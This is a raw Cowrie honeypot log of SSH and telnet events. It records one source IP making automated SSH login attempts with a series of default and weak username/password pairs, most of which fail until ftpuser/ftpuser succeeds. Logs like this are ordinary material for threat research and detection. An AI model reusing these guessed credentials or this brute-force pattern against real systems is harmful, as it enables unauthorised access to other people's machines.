{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:48.364194Z","src_ip":"192.109.200.237","session":"a0f286e81932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:49.449207Z","src_ip":"192.109.200.237","session":"a0f286e81932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50740,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7d829e6bb0c","protocol":"ssh","message":"New connection: 192.109.200.237:50740 (159.203.135.109:22) [session: f7d829e6bb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:51.322994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:51.327972Z","src_ip":"192.109.200.237","session":"f7d829e6bb0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:51.409800Z","src_ip":"192.109.200.237","session":"f7d829e6bb0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:51.656567Z","src_ip":"192.109.200.237","session":"f7d829e6bb0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:52.825749Z","src_ip":"192.109.200.237","session":"f7d829e6bb0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50746,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1ca237ca140","protocol":"ssh","message":"New connection: 192.109.200.237:50746 (159.203.135.109:22) [session: e1ca237ca140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:54.660460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:54.666051Z","src_ip":"192.109.200.237","session":"e1ca237ca140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:54.749435Z","src_ip":"192.109.200.237","session":"e1ca237ca140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:55.003882Z","src_ip":"192.109.200.237","session":"e1ca237ca140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:56.091899Z","src_ip":"192.109.200.237","session":"e1ca237ca140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50750,"dst_ip":"159.203.135.109","dst_port":22,"session":"916f3c666ac3","protocol":"ssh","message":"New connection: 192.109.200.237:50750 (159.203.135.109:22) [session: 916f3c666ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:58.146546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:58.169458Z","src_ip":"192.109.200.237","session":"916f3c666ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:58.230798Z","src_ip":"192.109.200.237","session":"916f3c666ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:58.561059Z","src_ip":"192.109.200.237","session":"916f3c666ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:59.646780Z","src_ip":"192.109.200.237","session":"916f3c666ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":47272,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ddc9e5fc8bf","protocol":"telnet","message":"New connection: 23.94.28.189:47272 (10.17.0.5:23) [session: 5ddc9e5fc8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:00.491935Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60706,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0cc1a2d723d","protocol":"ssh","message":"New connection: 192.109.200.237:60706 (159.203.135.109:22) [session: a0cc1a2d723d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:01.590121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:01.596412Z","src_ip":"192.109.200.237","session":"a0cc1a2d723d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:01.679380Z","src_ip":"192.109.200.237","session":"a0cc1a2d723d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:01.925688Z","src_ip":"192.109.200.237","session":"a0cc1a2d723d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:03.011822Z","src_ip":"192.109.200.237","session":"a0cc1a2d723d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60716,"dst_ip":"159.203.135.109","dst_port":22,"session":"e61841ef0229","protocol":"ssh","message":"New connection: 192.109.200.237:60716 (159.203.135.109:22) [session: e61841ef0229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:04.989496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:04.995703Z","src_ip":"192.109.200.237","session":"e61841ef0229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:05.078376Z","src_ip":"192.109.200.237","session":"e61841ef0229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.876017808914185,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:05.152616Z","src_ip":"50.6.8.71","session":"1440079c4335","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:05.330148Z","src_ip":"192.109.200.237","session":"e61841ef0229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:06.416644Z","src_ip":"192.109.200.237","session":"e61841ef0229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60718,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c8dd314c201","protocol":"ssh","message":"New connection: 192.109.200.237:60718 (159.203.135.109:22) [session: 2c8dd314c201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:08.464982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:08.470743Z","src_ip":"192.109.200.237","session":"2c8dd314c201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:08.553594Z","src_ip":"192.109.200.237","session":"2c8dd314c201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:08.801008Z","src_ip":"192.109.200.237","session":"2c8dd314c201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:09.887966Z","src_ip":"192.109.200.237","session":"2c8dd314c201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47300,"dst_ip":"159.203.135.109","dst_port":22,"session":"78296afbaf28","protocol":"ssh","message":"New connection: 192.109.200.237:47300 (159.203.135.109:22) [session: 78296afbaf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:11.837555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:11.841698Z","src_ip":"192.109.200.237","session":"78296afbaf28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:11.923618Z","src_ip":"192.109.200.237","session":"78296afbaf28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:12.173875Z","src_ip":"192.109.200.237","session":"78296afbaf28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:13.260334Z","src_ip":"192.109.200.237","session":"78296afbaf28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.97626185417175,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:13.868864Z","src_ip":"50.6.8.71","session":"2f318e9630f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47304,"dst_ip":"159.203.135.109","dst_port":22,"session":"368865788262","protocol":"ssh","message":"New connection: 192.109.200.237:47304 (159.203.135.109:22) [session: 368865788262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:15.114540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:15.119140Z","src_ip":"192.109.200.237","session":"368865788262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:15.202093Z","src_ip":"192.109.200.237","session":"368865788262","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:15.451307Z","src_ip":"192.109.200.237","session":"368865788262","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:15.666895Z","src_ip":"192.109.200.237","session":"368865788262","protocol":"ssh"}
